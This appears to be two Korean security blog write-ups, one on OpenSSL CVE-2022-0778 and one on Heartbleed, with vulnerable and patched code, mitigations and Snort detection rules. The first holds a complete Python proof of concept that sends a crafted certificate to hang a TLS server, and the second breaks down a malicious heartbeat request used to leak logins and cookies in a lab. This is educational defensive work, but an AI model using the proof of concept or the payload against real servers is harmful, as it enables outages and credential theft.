1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

1.1 SSL 통신 과정

[사진 1] SSL 통신 과정

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-0778

- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점

① 영향받는 버전
- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전

② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 ​​BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램

 

2.1 분석

- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함

- BN_mod_sqrt()는 모듈러의 제곱근을 계산

※ 함수 위치 : bn_sqrt.c

※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수

 

- 해당 함수는 아래 형식의 인증서를 해석할 때 사용

① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우

② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서

 

- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생

- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음

while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }

- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분

① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함

② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생

 

[사진 3] Exploit 패킷 및 결과

2.2 PoC

- PoC의 동작 순서는 다음과 같음

① ClientHello 메시지를 전송

② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인

③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩

※ DER(Distinguished Encoding Rules)

바이너리 형태로 인코딩한 포맷으로 확장자는 .der

der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용

④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생

from socket import socket, AF_INET, SOCK_STREAM

from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse


class CraftedTLSConnection(TLSConnection):

    def _clientKeyExchange(self, settings, cipherSuite,
                           clientCertChain, privateKey,
                           certificateType,
                           tackExt, clientRandom, serverRandom,
                           keyExchange):
        if cipherSuite in CipherSuite.certAllSuites:
            # Consume server certificate message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.certificate,
                                       certificateType):
                if result in (0, 1):
                    yield result
                else:
                    break

        if cipherSuite not in CipherSuite.certSuites:
            # possibly consume SKE message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.server_key_exchange,
                                       cipherSuite):
                if result in (0, 1):
                    yield result
                else:
                    break

        # Consume Certificate request if any, if not bail
        for result in self._getMsg(ContentType.handshake,
                                   (HandshakeType.certificate_request,
                                    HandshakeType.server_hello_done)):
            if isinstance(result, CertificateRequest):
                craftedCertificate = CraftedCertificate(certificateType)

                craftedCertificate.create(open('crafted.crt', "rb").read())
                for r in self._sendMsg(craftedCertificate):
                    yield r
                print("Crafted Certificate msg sent, check server.")
                exit(0)

            else:
                print("Server does not support TLS client authentication, nothing to do.")
                exit(1)


class CraftedCertificate(HandshakeMsg):
    def __init__(self, certificateType):
        HandshakeMsg.__init__(self, HandshakeType.certificate)
        self.certificateType = certificateType
        self.certChain = None
        self.der = bytearray(0)

    def create(self, certBytes):
        self.der = certBytes

    def write(self):
        w = Writer()
        if self.certificateType == CertificateType.x509:
            chainLength = len(self.der) + 3
            w.add(chainLength, 3)
            w.addVarSeq(self.der, 1, 3)
        else:
            raise AssertionError()
        return self.postWrite(w)


def run(server, port):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((server, port))
    connection = CraftedTLSConnection(sock)
    connection.handshakeClientCert()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parameters')
    parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
    parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
    args = parser.parse_args()
    run(args.server, args.port)

3. 대응방안

① 최신 업데이트 적용

- i == e 를 종료 조건으로 가지는 for문으로 변경

패치코드

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;

    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

/* If not found, a is not a square or p is not prime. */
if (i >= e) {
    ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
    goto end;
}
영향 받는 버전 패치 버전
OpenSSL 1.0.2  OpenSSL 1.0.2zd
OpenSSL 1.1.1 OpenSSL 1.1.1n
OpenSSL 3.0  OpenSSL 3.0.2

※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-0778

https://github.com/drago-96/CVE-2022-0778

https://blog.alyac.co.kr/4563

https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498

https://blog.rovermoot.co.kr/237

https://blog.leestory.com/558

- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8

- https://www.dailysecu.com/news/articleView.html?idxno=135121

https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/

- https://github.com/openssl/openssl/blob/1832bb0f02e519a48f06a10467c7ce5f7f3feeeb/crypto/bn/bn_sqrt.c#L310-L318

- https://mazinga83.blogspot.com/2015/09/ssl.html

- https://github.com/jkakavas/CVE-2022-0778-POC

- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9

1. OpenSSL

- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리
- C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음

2. HeartBleed

- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함

하트비트(Heartbeat)란?
1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜
2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답

- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림
- 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생

HeartBleed란?
1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재
2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐
3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음

- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음

3. CVE-2014-0160

[캡쳐 1] https://nvd.nist.gov/vuln/detail/cve-2014-0160

- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.

취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음
[캡쳐 2] 공격원리 (https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884)

- [캡쳐 2] 과정을 다음에 비유할 수 있음

1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨

4. 실습

4.1) PoC 분석

- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송

[캡쳐 3] Heartbeat 요청 메세지
// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1

// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request

// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)

4.2) 취약점 코드

- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음

[캡쳐 4] 취약한 소스 코드

4.3) 취약점 실습

- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함

[캡쳐 5] 비박스 Heartbleed

- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.

* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인

[캡쳐 6] Heartbeat 응답

- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함

* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름

[캡쳐 7] 로그인 정보 유출

- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음

[캡쳐 8] 와이어샤크

5. 대응방안

1. 시스템 측면 방안
- 최신 업데이트를 적용
- 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가

[캡쳐 9] 패치 코드

- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화

1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat

2. 네트워크 측면 방안
- SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용

alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1

3. 서비스 관리 측 방안
- 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토
- 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려

6. 참조

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884
https://heartbleed.com/
https://jmoon.co.kr/164

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
robots.txt  (0) 2022.08.30

+ Recent posts